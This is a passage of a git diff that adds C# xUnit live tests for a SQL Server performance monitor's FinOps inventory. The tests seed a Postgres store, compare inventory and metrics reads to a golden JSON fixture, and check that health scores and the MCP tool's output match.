+        Assert.True(served.Served.Length <= 620, $"served head is {served.Served.Length}");
+        Assert.Contains("ordered by index size", served.Tail!, StringComparison.Ordinal);
+    }
+}
diff --git a/Darling/Darling.Tests/FinOpsInventoryGoldenLiveTests.cs b/Darling/Darling.Tests/FinOpsInventoryGoldenLiveTests.cs
new file mode 100644
index 0000000000..296ddfc5ca
--- /dev/null
+++ b/Darling/Darling.Tests/FinOpsInventoryGoldenLiveTests.cs
@@ -0,0 +1,278 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.IO;
+using System.Linq;
+using System.Reflection;
+using System.Runtime.CompilerServices;
+using System.Text;
+using System.Text.Json;
+using System.Threading;
+using System.Threading.Tasks;
+using Npgsql;
+using PerformanceMonitor.Collectors;
+using PerformanceMonitor.Common;
+using PerformanceMonitor.Darling.Storage;
+using PerformanceMonitor.Darling.Storage.FinOps;
+using PerformanceMonitor.Darling.Viewer;
+using PerformanceMonitor.Ui;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// Golden-fixture pin for the two FinOps Inventory reads (<c>GetServerMetricsAsync</c>, <c>GetServerInventoryAsync</c>).
+/// A deterministic seeded store is read through the reads and the results are serialized (declaration-order properties
+/// with a public setter, decimals at their stored scale, times as offsets from the seed anchor) and compared
+/// byte-for-byte to <c>Fixtures/FinOpsInventory/golden.json</c>. Set <c>DARLING_WRITE_GOLDEN=1</c> to regenerate it.
+///
+/// <para>Four servers are seeded, with letter-suffixed names: A is busy and enabled, with a size snapshot, a recent and
+/// an old query, grant pressure and collection-log rows; B is a disabled Azure SQL Database with a vCore count; C has
+/// one CPU sample, a NULL current-workers count and no hardware columns; D has a CPU average that does not divide
+/// evenly and a single database that is active, so its idle count is 0 rather than NULL. Only these servers are
+/// serialized, so other rows in a shared store do not change the result.</para>
+///
+/// <para>This covers the RAW metrics path: the rollup probes run against a store with no rollup data, so the idle check
+/// reads <c>ServerMetricsSql</c> unrouted. The routing between raw and rollup is covered by
+/// <see cref="ServerInventoryFleetMetricsLiveTests"/>.</para>
+/// </summary>
+[Collection("live-postgres")]
+public sealed class FinOpsInventoryGoldenLiveTests
+{
+    private const string NameA = "darling-finops-inv-golden-a";
+    private const string NameB = "darling-finops-inv-golden-b";
+    private const string NameC = "darling-finops-inv-golden-c";
+    private const string NameD = "darling-finops-inv-golden-d";
+    private static readonly int IdA = ServerIdHelper.GetDeterministicHashCode(NameA);
+    private static readonly int IdB = ServerIdHelper.GetDeterministicHashCode(NameB);
+    private static readonly int IdC = ServerIdHelper.GetDeterministicHashCode(NameC);
+    private static readonly int IdD = ServerIdHelper.GetDeterministicHashCode(NameD);
+    private static readonly int[] Ids = [IdA, IdB, IdC, IdD];
+
+    [Fact]
+    public Task InventoryReads_MatchGoldenFixture_ThroughTheViewer() =>
+        RunAsync(async (connectionString, anchor, ct) =>
+        {
+            await using var viewer = new ViewerDataService(connectionString);
+            var metrics = (await viewer.GetServerMetricsAsync(ct)).Where(kv => Ids.Contains(kv.Key))
+                .OrderBy(kv => NameOf(kv.Key)).Select(kv => new MetricsEntry { Server = NameOf(kv.Key), Metrics = kv.Value }).ToList();
+            var inventory = (await viewer.GetServerInventoryAsync(cancellationToken: ct)).Where(r => Ids.Contains(r.ServerId)).ToList();
+            return Serialize(anchor, metrics, inventory);
+        });
+
+    [Fact]
+    public Task InventoryReads_MatchGoldenFixture_ThroughTheStorageReaderAndRowMappers() =>
+        RunAsync(async (connectionString, anchor, ct) =>
+        {
+            await using var dataSource = NpgsqlDataSource.Create(connectionString);
+            var rollups = await TimescaleSupport.DetectRollupsAsync(dataSource, ct);
+            var coverage = await TimescaleSupport.DetectRollupCoverageAsync(dataSource, rollups, ct);
+            var dtos = await DarlingFinOpsInventoryReader.GetServerMetricsAsync(dataSource, rollups, coverage, 30, cancellationToken: ct);
+            var metrics = dtos.Where(kv => Ids.Contains(kv.Key)).OrderBy(kv => NameOf(kv.Key))
+                .Select(kv => new MetricsEntry { Server = NameOf(kv.Key), Metrics = ViewerDataService.ServerMetricsRow.From(kv.Value) }).ToList();
+            var inventory = (await DarlingFinOpsInventoryReader.GetServerInventoryAsync(dataSource, 30, cancellationToken: ct))
+                .Where(d => Ids.Contains(d.ServerId)).Select(d => ServerPropertyRow.From(d, PerformanceMonitor.Analysis.Baselines.ServerClock.FixedOffset(0))).ToList();
+
+            return Serialize(anchor, metrics, inventory);
+        });
+
+    public sealed class MetricsEntry
+    {
+        public string Server { get; set; } = "";
+        public ViewerDataService.ServerMetricsRow Metrics { get; set; }
+    }
+
+    private static string NameOf(int id) => id == IdA ? NameA : id == IdB ? NameB : id == IdC ? NameC : NameD;
+
+    private static async Task RunAsync(Func<string, DateTime, CancellationToken, Task<string>> read)
+    {
+        var connectionString = Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+        Assert.SkipWhen(string.IsNullOrEmpty(connectionString),
+            "Set DARLING_TEST_PG to a Postgres connection string to run the live FinOps inventory golden test.");
+
+        var ct = TestContext.Current.CancellationToken;
+        using var connection = new NpgsqlConnection(connectionString);
+        await connection.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(connection, ct);
+        await CleanupAsync(connection, ct);
+
+        var succeeded = false;
+        try
+        {
+            var anchor = DateTime.SpecifyKind(DateTime.UtcNow.Date, DateTimeKind.Unspecified);
+            await SeedAsync(connection, anchor, ct);
+
+            var actual = await read(connectionString!, anchor, ct);
+            AssertGolden(actual);
+            succeeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(connectionString!, succeeded, async (cleanup, cleanupCt) =>
+                await CleanupAsync(cleanup, cleanupCt));
+        }
+    }
+
+    private static async Task SeedAsync(NpgsqlConnection c, DateTime anchor, CancellationToken ct)
+    {
+        await DarlingMcpTestData.RegisterServerAsync(c, IdA, NameA, ct);
+        await DarlingMcpTestData.RegisterServerAsync(c, IdB, NameB, ct);
+        await DarlingMcpTestData.RegisterServerAsync(c, IdC, NameC, ct);
+        await DarlingMcpTestData.RegisterServerAsync(c, IdD, NameD, ct);
+        await DarlingMcpTestData.ExecAsync(c, ct, "UPDATE servers SET monthly_cost_usd = 1234.5 WHERE server_id = $1", IdA);
+        await DarlingMcpTestData.ExecAsync(c, ct, "UPDATE servers SET is_enabled = FALSE, display_name = 'Golden Disabled B' WHERE server_id = $1", IdB);
+        /* Web 11: a stopped server that is still configured stays in the default list; only a REMOVED one (no config row) drops out. */
+        await DarlingMcpTestData.ExecAsync(c, ct, "INSERT INTO config.config_monitored_servers (server_id, name, host, is_enabled) VALUES ($1, $2, $2, FALSE) ON CONFLICT DO NOTHING", IdB, NameB);
+
+        var now = DarlingMcpTestData.Naive(DateTime.UtcNow);
+
+        /* A: CPU samples and grants inside the 24-hour window, two size snapshots (the newest wins), one database active
+           and one never executed. */
+        var cpu = new[] { 10, 20, 30, 95 };
+        for (var i = 0; i < cpu.Length; i++)
+            await DarlingMcpTestData.ExecAsync(c, ct,
+                "INSERT INTO cpu_utilization_stats (collection_id, collection_time, server_id, server_name, sample_time, sqlserver_cpu_utilization, other_process_cpu_utilization) VALUES ($1, $2, $3, $4, $5, $6, 1)",
+                CollectionIdGenerator.Next(), now.AddHours(-1 - i), IdA, NameA, now.AddHours(-1 - i), cpu[i]);
+        await DarlingMcpTestData.ExecAsync(c, ct,
+            "INSERT INTO memory_stats (collection_id, collection_time, server_id, server_name, max_workers_count, current_workers_count) VALUES ($1, $2, $3, $4, 512, 100)",
+            CollectionIdGenerator.Next(), now.AddHours(-2), IdA, NameA);
+        await DarlingMcpTestData.ExecAsync(c, ct,
+            "INSERT INTO memory_grant_stats (collection_id, collection_time, server_id, server_name, waiter_count, timeout_error_count_delta, forced_grant_count_delta, granted_memory_mb, target_memory_mb) VALUES ($1, $2, $3, $4, 3, 1, 2, 150, 1000)",
+            CollectionIdGenerator.Next(), now.AddHours(-2), IdA, NameA);
+        foreach (var (db, size, at) in new[] { ("UserDbBusy", 2048m, now.AddHours(-3)), ("UserDbIdle", 1024m, now.AddHours(-3)), ("UserDbBusy", 1000m, now.AddDays(-2)), ("master", 50m, now.AddHours(-3)) })
+            await DarlingMcpTestData.ExecAsync(c, ct,
+                "INSERT INTO database_size_stats (collection_id, collection_time, server_id, server_name, database_name, total_size_mb) VALUES ($1, $2, $3, $4, $5, $6)",
+                CollectionIdGenerator.Next(), at, IdA, NameA, db, size);
+        await DarlingMcpTestData.ExecAsync(c, ct,
+            "INSERT INTO query_stats (collection_id, collection_time, server_id, server_name, database_name, query_hash, sql_handle, delta_worker_time, delta_elapsed_time, delta_execution_count, sample_interval_seconds) VALUES ($1, $2, $3, $4, 'UserDbBusy', '0xHASHGOLD', '0xHANDLEGOLD', 1000, 1000, 5, 300)",
+            CollectionIdGenerator.Next(), now.AddDays(-3), IdA, NameA);
+        /* The idle count (and the idle claim behind it) needs 7 days of query-stats history with a sample on each complete UTC day. */
+        await FinOpsIdleCoverageSeed.SeedAsync(c, ct, IdA, NameA, now);
+        await InsertPropertiesAsync(c, IdA, NameA, anchor.AddDays(-1).AddHours(3), "Enterprise Edition", "16.0.4100.1", "RTM", "CU9", 3, 8, 65536L, 2, 4, true, false, anchor.AddDays(-3).AddHours(7), "Windows Server 2022", "PRIMARY", null, ct);
+        await InsertPropertiesAsync(c, IdA, NameA, anchor.AddDays(-9), "Developer Edition", "15.0.2000.5", "RTM", null, 3, 4, 8192L, 1, 4, false, false, null, "Windows Server 2019", null, null, ct);
+        await DarlingMcpTestData.ExecAsync(c, ct,
+            "INSERT INTO collection_log (log_id, server_id, server_name, collector_name, collection_time, status) VALUES ($1, $2, $3, 'wait_stats', $4, 'SUCCESS')",
+            CollectionIdGenerator.Next(), IdA, NameA, anchor.AddHours(-5));
+
+        /* B: disabled Azure SQL Database, vCore-named, no samples. */
+        await InsertPropertiesAsync(c, IdB, NameB, anchor.AddDays(-2), "SQL Azure", "12.0.2000.8", "RTM", null, 5, 2, 913000L, 0, 32, null, null, null, null, null, 4, ct);
+
+        /* C: a monitored server with one CPU sample and a NULL current-workers count (so the verdict sees a missing
+           count), and no hardware columns. */
+        await DarlingMcpTestData.ExecAsync(c, ct,
+            "INSERT INTO cpu_utilization_stats (collection_id, collection_time, server_id, server_name, sample_time, sqlserver_cpu_utilization, other_process_cpu_utilization) VALUES ($1, $2, $3, $4, $5, 7, 1)",
+            CollectionIdGenerator.Next(), now.AddHours(-3), IdC, NameC, now.AddHours(-3));
+        await InsertPropertiesAsync(c, IdC, NameC, anchor.AddDays(-4), "Standard Edition", "14.0.1000.169", "SP1", "", 2, null, null, null, null, null, null, null, null, null, null, ct);
+        await DarlingMcpTestData.ExecAsync(c, ct,
+            "INSERT INTO memory_stats (collection_id, collection_time, server_id, server_name, max_workers_count, current_workers_count) VALUES ($1, $2, $3, $4, 256, NULL)",
+            CollectionIdGenerator.Next(), now.AddHours(-4), IdC, NameC);
+
+        /* D: CPU samples 10, 10 and 11 average 10.33 (the stored column is an integer, so the average is what carries
+           the fraction), and its only database was executed recently, so it has no idle database. */
+        var cpuD = new[] { 10, 10, 11 };
+        for (var i = 0; i < cpuD.Length; i++)
+            await DarlingMcpTestData.ExecAsync(c, ct,
+                "INSERT INTO cpu_utilization_stats (collection_id, collection_time, server_id, server_name, sample_time, sqlserver_cpu_utilization, other_process_cpu_utilization) VALUES ($1, $2, $3, $4, $5, $6, 1)",
+                CollectionIdGenerator.Next(), now.AddHours(-1 - i), IdD, NameD, now.AddHours(-1 - i), cpuD[i]);
+        await DarlingMcpTestData.ExecAsync(c, ct,
+            "INSERT INTO database_size_stats (collection_id, collection_time, server_id, server_name, database_name, total_size_mb) VALUES ($1, $2, $3, $4, 'UserDbOnly', 512)",
+            CollectionIdGenerator.Next(), now.AddHours(-3), IdD, NameD);
+        await DarlingMcpTestData.ExecAsync(c, ct,
+            "INSERT INTO query_stats (collection_id, collection_time, server_id, server_name, database_name, query_hash, sql_handle, delta_worker_time, delta_elapsed_time, delta_execution_count, sample_interval_seconds) VALUES ($1, $2, $3, $4, 'UserDbOnly', '0xHASHGOLD2', '0xHANDLEGOLD2', 1000, 1000, 5, 300)",
+            CollectionIdGenerator.Next(), now.AddHours(-6), IdD, NameD);
+        await FinOpsIdleCoverageSeed.SeedAsync(c, ct, IdD, NameD, now);
+        await InsertPropertiesAsync(c, IdD, NameD, anchor.AddDays(-5), "Standard Edition", "15.0.4000.1", "RTM", null, 2, 4, 16384L, 1, 4, false, false, null, null, null, null, ct);
+    }
+
+    private static Task InsertPropertiesAsync(NpgsqlConnection c, int id, string name, DateTime at, string edition, string version,
+        string level, string? updateLevel, int engineEdition, int? cpuCount, long? memoryMb, int? sockets, int? coresPerSocket,
+        bool? hadr, bool? clustered, DateTime? start, string? os, string? role, int? vcores, CancellationToken ct) =>
+        DarlingMcpTestData.ExecAsync(c, ct,
+            "INSERT INTO server_properties (collection_id, collection_time, server_id, server_name, edition, product_version, product_level, product_update_level, engine_edition, cpu_count, physical_memory_mb, socket_count, cores_per_socket, is_hadr_enabled, is_clustered, sqlserver_start_time, host_os_version, ag_replica_role, vcore_count) VALUES ($1, $2, $3, $4, $5, $6, $7, $8, $9, $10, $11, $12, $13, $14, $15, $16, $17, $18, $19)",
+            CollectionIdGenerator.Next(), at, id, name, edition, version, level, updateLevel, engineEdition, cpuCount, memoryMb, sockets, coresPerSocket, hadr, clustered, start, os, role, vcores);
+
+    private static Task CleanupAsync(NpgsqlConnection c, CancellationToken ct) =>
+        DarlingMcpTestData.ExecAsync(c, ct,
+            $"DELETE FROM cpu_utilization_stats WHERE server_id IN ({IdA},{IdB},{IdC},{IdD}); " +
+            $"DELETE FROM memory_stats WHERE server_id IN ({IdA},{IdB},{IdC},{IdD}); " +
+            $"DELETE FROM memory_grant_stats WHERE server_id IN ({IdA},{IdB},{IdC},{IdD}); " +
+            $"DELETE FROM database_size_stats WHERE server_id IN ({IdA},{IdB},{IdC},{IdD}); " +
+            $"DELETE FROM query_stats WHERE server_id IN ({IdA},{IdB},{IdC},{IdD}); " +
+            $"DELETE FROM collection_log WHERE server_id IN ({IdA},{IdB},{IdC},{IdD}); " +
+            $"DELETE FROM server_properties WHERE server_id IN ({IdA},{IdB},{IdC},{IdD}); " +
+            $"DELETE FROM servers WHERE server_id IN ({IdA},{IdB},{IdC},{IdD})");
+
+    /// <summary>Serializes the three results as indented JSON: public settable properties in declaration order,
+    /// decimals at their stored scale, and every DateTime as a whole-day offset from <paramref name="anchor"/>.</summary>
+    private static string Serialize(DateTime anchor, object metrics, object inventory)
+    {
+        using var stream = new MemoryStream();
+        using (var writer = new Utf8JsonWriter(stream, new JsonWriterOptions { Indented = true }))
+        {
+            writer.WriteStartObject();
+            writer.WritePropertyName("serverMetrics");
+            WriteValue(writer, metrics, anchor);
+            writer.WritePropertyName("serverInventory");
+            WriteValue(writer, inventory, anchor);
+            writer.WriteEndObject();
+        }
+        return Encoding.UTF8.GetString(stream.ToArray()).ReplaceLineEndings("\n") + "\n";
+    }
+
+    /* The three row properties the viewer converts for display depend on the machine's zone and the display mode, so the pin
+       reads the UTC instants (InventoryAsOfUtc, LastCollectedUtc) that they are converted from instead. */
+    private static readonly HashSet<string> DisplayConverted = ["Clock", "InventoryAsOf", "LastCollected"];
+
+    private static void WriteValue(Utf8JsonWriter writer, object? value, DateTime anchor)
+    {
+        switch (value)
+        {
+            case null: writer.WriteNullValue(); break;
+            case string s: writer.WriteStringValue(s); break;
+            case bool b: writer.WriteBooleanValue(b); break;
+            case int i: writer.WriteNumberValue(i); break;
+            case long l: writer.WriteNumberValue(l); break;
+            case decimal m: writer.WriteNumberValue(m); break;
+            case DateTime t:
+                var offset = t - anchor;
+                writer.WriteStringValue($"anchor{(offset < TimeSpan.Zero ? "-" : "+")}{Math.Abs(offset.TotalDays).ToString("0.####", System.Globalization.CultureInfo.InvariantCulture)}d");
+                break;
+            case System.Collections.IEnumerable list:
+                writer.WriteStartArray();
+                foreach (var item in list) WriteValue(writer, item, anchor);
+                writer.WriteEndArray();
+                break;
+            default:
+                writer.WriteStartObject();
+                foreach (var p in value.GetType().GetProperties(BindingFlags.Public | BindingFlags.Instance)
+                             .Where(p => p.SetMethod is { IsPublic: true } && !DisplayConverted.Contains(p.Name))
+                             .OrderBy(p => p.MetadataToken))
+                {
+                    writer.WritePropertyName(p.Name);
+                    WriteValue(writer, p.GetValue(value), anchor);
+                }
+                writer.WriteEndObject();
+                break;
+        }
+    }
+
+    private static string GoldenSourcePath([CallerFilePath] string testFile = "") =>
+        Path.Combine(Path.GetDirectoryName(testFile)!, "Fixtures", "FinOpsInventory", "golden.json");
+
+    private static void AssertGolden(string actual)
+    {
+        if (Environment.GetEnvironmentVariable("DARLING_WRITE_GOLDEN") == "1")
+            File.WriteAllText(GoldenSourcePath(), actual);
+
+        var golden = File.ReadAllText(Path.Combine(AppContext.BaseDirectory, "Fixtures", "FinOpsInventory", "golden.json"))
+            .ReplaceLineEndings("\n");
+        Assert.Equal(golden, actual);
+    }
+}
diff --git a/Darling/Darling.Tests/FinOpsInventoryHealthScoreLiveTests.cs b/Darling/Darling.Tests/FinOpsInventoryHealthScoreLiveTests.cs
new file mode 100644
index 0000000000..680f896ce8
--- /dev/null
+++ b/Darling/Darling.Tests/FinOpsInventoryHealthScoreLiveTests.cs
@@ -0,0 +1,105 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Threading;
+using System.Threading.Tasks;
+using Npgsql;
+using PerformanceMonitor.Collectors;
+using PerformanceMonitor.Common;
+using PerformanceMonitor.Darling.Storage;
+using PerformanceMonitor.Darling.Storage.FinOps;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// One server, one health score: the Server Inventory's Health figure (the fleet read, <c>GetServerMetricsAsync</c>) equals the
+/// Utilization view's score for the same server, from the same inputs over the same window. The inventory used to score the 24-hour
+/// average CPU against a fixed memory and storage term, so servers with different buffer pools and free space all read the same number.
+/// </summary>
+/* #1776 own-store: the servers here live in one scratch database of this test's own, so nothing shares rows with another test. */
+public sealed class FinOpsInventoryHealthScoreLiveTests
+{
+    private const int TimeoutSeconds = 30;
+
+    private static string? Cs => Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+
+    [Fact]
+    public async Task InventoryHealthScore_EqualsTheUtilizationScore_PerServer()
+    {
+        Assert.SkipWhen(string.IsNullOrEmpty(Cs), "Set DARLING_TEST_PG to run the live inventory health-score test.");
+        var ct = TestContext.Current.CancellationToken;
+        await using var scratch = await ScratchPostgres.CreateAsync(Cs!, ct);
+        await using var c = new NpgsqlConnection(scratch.ConnectionString);
+        await c.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(c, ct);
+        await using var dataSource = NpgsqlDataSource.Create(scratch.ConnectionString);
+
+        var now = DateTime.UtcNow;
+        // (name, cpu samples, physical MB, buffer pool MB, total MB, used MB)
+        var servers = new (string Name, int[] Cpu, int PhysMb, int BpMb, int TotalMb, int UsedMb)[]
+        {
+            ("darling-health-healthy", [10, 12, 14], 65536, 40000, 100000, 40000),
+            ("darling-health-strained", [60, 85, 95], 16384, 15800, 100000, 97000),
+        };
+
+        var ids = new List<int>();
+        long collectionId = 1;
+        foreach (var sv in servers)
+        {
+            var (id, name) = await FinOpsIdleCoverageLiveTests.RegisterAsync(c, sv.Name, ct);
+            ids.Add(id);
+            var at = DateTime.SpecifyKind(now.AddHours(-1), DateTimeKind.Unspecified);
+            foreach (var cpu in sv.Cpu)
+            {
+                await Exec(c, ct,
+                    "INSERT INTO cpu_utilization_stats (collection_id, collection_time, server_id, server_name, sample_time, sqlserver_cpu_utilization, other_process_cpu_utilization) VALUES ($1, $2, $3, $4, $2, $5, 1)",
+                    collectionId++, at, id, name, cpu);
+            }
+
+            await Exec(c, ct,
+                "INSERT INTO memory_stats (collection_id, collection_time, server_id, server_name, total_physical_memory_mb, available_physical_memory_mb, target_server_memory_mb, total_server_memory_mb, buffer_pool_mb) VALUES ($1, $2, $3, $4, $5, 1000, $5, $5, $6)",
+                collectionId++, at, id, name, sv.PhysMb, sv.BpMb);
+            await Exec(c, ct,
+                "INSERT INTO database_size_stats (collection_id, collection_time, server_id, server_name, database_name, total_size_mb, used_size_mb) VALUES ($1, $2, $3, $4, 'DbOne', $5, $6)",
+                collectionId++, at, id, name, sv.TotalMb, sv.UsedMb);
+        }
+
+        var rollups = await TimescaleSupport.DetectRollupsAsync(dataSource, ct);
+        var coverage = await TimescaleSupport.DetectRollupCoverageAsync(dataSource, rollups, ct);
+        var fleet = await DarlingFinOpsInventoryReader.GetServerMetricsAsync(dataSource, rollups, coverage, TimeoutSeconds, null, ct);
+
+        var scores = new List<int?>();
+        foreach (var id in ids)
+        {
+            var util = await DarlingFinOpsUtilizationReader.GetUtilizationEfficiencyAsync(dataSource, id, TimeoutSeconds, ct);
+            Assert.NotNull(util);
+            var totals = await FinOpsUtilizationFigures.GetLatestStorageTotalsAsync(dataSource, id, TimeoutSeconds, ct);
+            var free = totals is { } t ? FinOpsUtilizationFigures.FreeSpacePct(t.AllocatedMb, t.FreeMb) : 100m;
+
+            Assert.Equal(FinOpsUtilizationFigures.HealthScoreOrNull(util, free), fleet[id].HealthScore);
+            scores.Add(fleet[id].HealthScore);
+        }
+
+        Assert.NotNull(scores[0]);
+        Assert.NotEqual(scores[0], scores[1]);
+    }
+
+    private static async Task Exec(NpgsqlConnection c, CancellationToken ct, string sql, params object[] values)
+    {
+        await using var command = new NpgsqlCommand(sql, c);
+        foreach (var value in values)
+        {
+            command.Parameters.Add(new NpgsqlParameter { Value = value });
+        }
+
+        await command.ExecuteNonQueryAsync(ct);
+    }
+}
diff --git a/Darling/Darling.Tests/FinOpsInventoryToolParityLiveTests.cs b/Darling/Darling.Tests/FinOpsInventoryToolParityLiveTests.cs
new file mode 100644
index 0000000000..d069cc3680
--- /dev/null
+++ b/Darling/Darling.Tests/FinOpsInventoryToolParityLiveTests.cs
@@ -0,0 +1,298 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.IO;
+using System.Linq;
+using System.Text.Json;
+using System.Threading;
+using System.Threading.Tasks;
+using Microsoft.AspNetCore.Builder;
+using Microsoft.AspNetCore.Http;
+using Microsoft.AspNetCore.TestHost;
+using Microsoft.Extensions.DependencyInjection;
+using Microsoft.Extensions.Logging;
+using Npgsql;
+using PerformanceMonitor.Collectors;
+using PerformanceMonitor.Common;
+using PerformanceMonitor.Darling.Service;
+using PerformanceMonitor.Darling.Service.Hosting;
+using PerformanceMonitor.Darling.Service.Mcp;
+using PerformanceMonitor.Darling.Storage;
+using PerformanceMonitor.Darling.Storage.FinOps;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// Live parity for <c>get_finops_inventory</c>: the tool's rows are the store readers' rows mapped through
+/// <see cref="DarlingMcpFinOpsInventoryTools.InventoryRow"/>, in the tool's order, and the web read route answers
+/// with the tool's own body. Three servers are seeded: alpha (enabled, CPU and size rows), beta (disabled Azure SQL
+/// Database with a large stored host memory) and gamma (enabled, no CPU sample).
+/// </summary>
+/* #1776 own-store: each fact seeds its own scratch database, so nothing here shares rows with another test. */
+public sealed class FinOpsInventoryToolParityLiveTests
+{
+    private const string Alpha = "darling-finops-inv-tool-alpha";
+    private const string Beta = "darling-finops-inv-tool-beta";
+    private const string Gamma = "darling-finops-inv-tool-gamma";
+
+    private static string? Cs => Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+
+    private static async Task<ScratchPostgres> SeedAsync(string cs, bool servers, CancellationToken ct)
+    {
+        var scratch = await ScratchPostgres.CreateAsync(cs, ct);
+        using var c = new NpgsqlConnection(scratch.ConnectionString);
+        await c.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(c, ct);
+        if (!servers) return scratch;
+
+        var idA = ServerIdHelper.GetDeterministicHashCode(Alpha);
+        var idB = ServerIdHelper.GetDeterministicHashCode(Beta);
+        var idG = ServerIdHelper.GetDeterministicHashCode(Gamma);
+        await DarlingMcpTestData.RegisterServerAsync(c, idA, Alpha, ct);
+        await DarlingMcpTestData.RegisterServerAsync(c, idB, Beta, ct);
+        await DarlingMcpTestData.RegisterServerAsync(c, idG, Gamma, ct);
+        await DarlingMcpTestData.ExecAsync(c, ct, "UPDATE servers SET is_enabled = FALSE WHERE server_id = $1", idB);
+        /* Web 11: Beta is stopped but still configured, so it stays in the default list. */
+        await DarlingMcpTestData.ExecAsync(c, ct, "INSERT INTO config.config_monitored_servers (server_id, name, host, is_enabled) VALUES ($1, $2, $2, FALSE)", idB, Beta);
+        await DarlingMcpTestData.ExecAsync(c, ct, "UPDATE servers SET monthly_cost_usd = 1234.5 WHERE server_id = $1", idA);
+
+        var now = DarlingMcpTestData.Naive(DateTime.UtcNow);
+        var cpu = new[] { 10, 20, 30, 95 };
+        for (var i = 0; i < cpu.Length; i++)
+            await DarlingMcpTestData.ExecAsync(c, ct,
+                "INSERT INTO cpu_utilization_stats (collection_id, collection_time, server_id, server_name, sample_time, sqlserver_cpu_utilization, other_process_cpu_utilization) VALUES ($1, $2, $3, $4, $5, $6, 1)",
+                CollectionIdGenerator.Next(), now.AddHours(-1 - i), idA, Alpha, now.AddHours(-1 - i), cpu[i]);
+        await DarlingMcpTestData.ExecAsync(c, ct,
+            "INSERT INTO database_size_stats (collection_id, collection_time, server_id, server_name, database_name, total_size_mb, used_size_mb) VALUES ($1, $2, $3, $4, 'UserDbBusy', 2048, 1024)",
+            CollectionIdGenerator.Next(), now.AddHours(-3), idA, Alpha);
+        /* A memory row with the physical memory and buffer pool the health score reads (a server with no memory row has no score). */
+        await DarlingMcpTestData.ExecAsync(c, ct,
+            "INSERT INTO memory_stats (collection_id, collection_time, server_id, server_name, total_physical_memory_mb, buffer_pool_mb) VALUES ($1, $2, $3, $4, 65536, 40000)",
+            CollectionIdGenerator.Next(), now.AddHours(-2), idA, Alpha);
+        await InsertPropertiesAsync(c, idA, Alpha, now.AddHours(-5), "Enterprise Edition", "16.0.4100.1", 3, 8, 65536L, 2, 4, "Windows Server 2022", ct);
+        await InsertPropertiesAsync(c, idB, Beta, now.AddHours(-6), "Azure SQL Database (Standard)", "12.0.2000.8", 5, 2, 913000L, null, null, null, ct);
+        await InsertPropertiesAsync(c, idG, Gamma, now.AddHours(-7), "Standard Edition", "15.0.4000.1", 2, 4, 16384L, 1, 4, "Windows Server 2019", ct);
+        return scratch;
+    }
+
+    private static Task InsertPropertiesAsync(NpgsqlConnection c, int id, string name, DateTime at, string edition, string version,
+        int engineEdition, int cpuCount, long memoryMb, int? sockets, int? coresPerSocket, string? os, CancellationToken ct) =>
+        DarlingMcpTestData.ExecAsync(c, ct,
+            "INSERT INTO server_properties (collection_id, collection_time, server_id, server_name, edition, product_version, engine_edition, cpu_count, physical_memory_mb, socket_count, cores_per_socket, host_os_version) VALUES ($1, $2, $3, $4, $5, $6, $7, $8, $9, $10, $11, $12)",
+            CollectionIdGenerator.Next(), at, id, name, edition, version, engineEdition, cpuCount, memoryMb, sockets, coresPerSocket, os);
+
+    private static async Task<(int Status, string Body)> GetAsync(NpgsqlDataSource postgres, string pathAndQuery, CancellationToken ct)
+    {
+        var builder = WebApplication.CreateBuilder(new WebApplicationOptions
+        {
+            ContentRootPath = Path.Combine(RepoFile.Root, "Darling", "PerformanceMonitor.Darling.Service"),
+            WebRootPath = "wwwroot",
+        });
+        builder.WebHost.UseTestServer();
+        builder.Logging.ClearProviders();
+        builder.Services.AddSingleton(postgres);
+        await using var app = builder.Build();
+        DarlingWebEndpoints.MapAll(app, postgres, new CollectorRuntimeState(), new CapturingTestLogger());
+        await app.StartAsync(ct);
+        using var server = app.GetTestServer();
+        var path = pathAndQuery.Split('?', 2);
+        var context = await server.SendAsync(request =>
+        {
+            request.Request.Method = "GET";
+            request.Request.Path = path[0];
+            request.Request.QueryString = new QueryString("?" + path[1]);
+            request.Request.Headers.Host = "localhost";
+        });
+        using var reader = new StreamReader(context.Response.Body);
+        return (context.Response.StatusCode, await reader.ReadToEndAsync(ct));
+    }
+
+    [Fact]
+    public async Task Tool_ServersEqualTheReaderRows_ThroughInventoryRow_InTheToolsOrder()
+    {
+        Assert.SkipWhen(string.IsNullOrEmpty(Cs), "Set DARLING_TEST_PG to run the live get_finops_inventory test.");
+        var ct = TestContext.Current.CancellationToken;
+        await using var scratch = await SeedAsync(Cs!, true, ct);
+        await using var postgres = NpgsqlDataSource.Create(scratch.ConnectionString);
+
+        var (rollups, coverage) = await ComposeStoreAvailability.GetRollupsAsync(postgres, ct);
+        var inventory = await DarlingFinOpsInventoryReader.GetServerInventoryAsync(postgres, 30, cancellationToken: ct);
+        var metrics = await DarlingFinOpsInventoryReader.GetServerMetricsAsync(postgres, rollups, coverage, 30, cancellationToken: ct);
+        var expected = inventory.Where(s => s.ServerName.StartsWith("darling-finops-inv-tool-", StringComparison.Ordinal))
+            .OrderByDescending(s => s.IsEnabled).ThenBy(s => s.ServerName, StringComparer.Ordinal)
+            .Select(s => JsonSerializer.SerializeToElement(
+                DarlingMcpFinOpsInventoryTools.InventoryRow(s, metrics.TryGetValue(s.ServerId, out var m) ? m : default), DarlingMcpFinOpsInventoryTools.WireOptions))
+            .ToList();
+
